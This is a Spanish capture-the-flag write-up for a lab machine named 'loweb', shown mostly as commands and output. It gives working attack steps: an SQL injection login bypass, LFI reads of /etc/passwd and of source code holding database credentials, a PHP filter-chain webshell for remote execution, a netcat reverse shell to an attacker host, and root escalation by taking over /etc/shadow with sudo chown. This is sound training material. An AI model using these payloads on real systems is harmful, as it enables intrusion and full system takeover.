Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.210Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:43 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:0B:F0:A8 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 10.42.113.210
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 23:44 -0300
Nmap scan report for 10.42.113.210
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_ 256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.38 secondsEnumeramos directorios y encontramos una aplicación library con paneles de login/admin:
❯ gobuster dir -u 'http://10.42.113.210' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html (Status: 200) [Size: 10701]
library (Status: 200) [Size: 1068]
server-status (Status: 403) [Size: 278]
...
❯ gobuster dir -u 'http://10.42.113.210/library' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db,jpg,jpeg,png,bak,pub -r
...
index.html (Status: 200) [Size: 1068]
login (Status: 200) [Size: 2151]
admin (Status: 200) [Size: 2151]En /login realizamos un SQL Injection de bypass de autenticación con ' OR 1=1-- -, que nos redirige al panel de administración http://10.42.113.210/library/admin/index.php y revela el usuario r3dh4ck.
En las opciones de idioma, al cambiar el lenguaje la URL pasa a index.php?lang=es.php, lo que sugiere un LFI. Lo confirmamos leyendo /etc/passwd:
http://10.42.113.210/library/admin/index.php?lang=../../../../../../etc/passwdUsamos el wrapper php://filter para leer el código fuente en base64. El index.php del admin no revela nada útil, pero el del login sí contiene las credenciales de la base de datos:
http://10.42.113.210/library/admin/index.php?lang=php://filter/read=convert.base64-encode/resource=../login/index.php
❯ echo 'PD9waH...tbD4K' | base64 -d > login_index.php
❯ cat login_index.php
...
<?php
$errorMsg = "";
session_start();
if (isset($_POST['username']) && isset($_POST['password'])) {
$conn = new mysqli('localhost', 'root', 'jX16QM2eOQ5$', 'library');
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$_SESSION['username'] = $_POST['username'];
header('Location: /library/admin/index.php');
exit;
} else {
$errorMsg = "Invalid credentials. Please try again.";
}
}
?>
...Para convertir el LFI en RCE, usamos un PHP filter chain generado con synacktiv/php_filter_chain_generator:
❯ ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://tempInyectamos la cadena y pasamos el comando por el parámetro cmd, confirmando ejecución:
http://10.42.113.210/library/admin/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
<!DOCTYPE html>
<html lang="en" >
...
</html>
uid=33(www-data) gid=33(www-data) groups=33(www-data)Lanzamos una reverse shell:
&cmd=busybox nc 10.42.113.35 1234 -e /bin/bash
❯ ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.210:38666.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@loweb:/var/www/html/library/admin$Para escalar privilegios, en /opt encontramos un script con credenciales:
www-data@loweb:/opt$ cat monitor.sh
...
SECRET_USER="r3dh4ck"
SECRET_PASS="contraseñaconÑjeje" # Change this password for the future
...Nos logueamos como r3dh4ck:
www-data@loweb:/opt$ su r3dh4ck
su r3dh4ck
Password: contraseñaconÑjeje
r3dh4ck@loweb:/opt$Sin embargo, no tenemos permiso de lectura sobre la flag de usuario:
r3dh4ck@loweb:~$ ls -l
-r-------- 1 775 r3dh4ck 33 Mar 15 2025 user.txtRevisamos los permisos sudo:
r3dh4ck@loweb:~$ sudo -l
Matching Defaults entries for r3dh4ck on loweb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User r3dh4ck may run the following commands on loweb:
(ALL) NOPASSWD: /usr/bin/chownPodemos ejecutar chown como cualquier usuario sin contraseña. Primero nos apropiamos de la flag de usuario:
r3dh4ck@loweb:~$ sudo chown r3dh4ck user.txtPara escalar a root hay varias vías; la más directa es apropiarnos de /etc/shadow (Writable Critical Files Privesc) y reemplazar la contraseña de root por una vacía:
r3dh4ck@loweb:~$ sudo chown r3dh4ck /etc/shadowGeneramos un hash de contraseña vacía con openssl y lo colocamos:
❯ openssl passwd -1
Password:
Verifying - Password:
$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/
r3dh4ck@loweb:~$ cat /etc/shadow | grep root
root:$1$4NIEpbv8$7Ug7Cr.gOm80D7Fm.SxAH/:20162:0:99999:7:::
r3dh4ck@loweb:~$ su root
Password:
root@loweb:/home/r3dh4ck#Obtenemos la última flag y fin.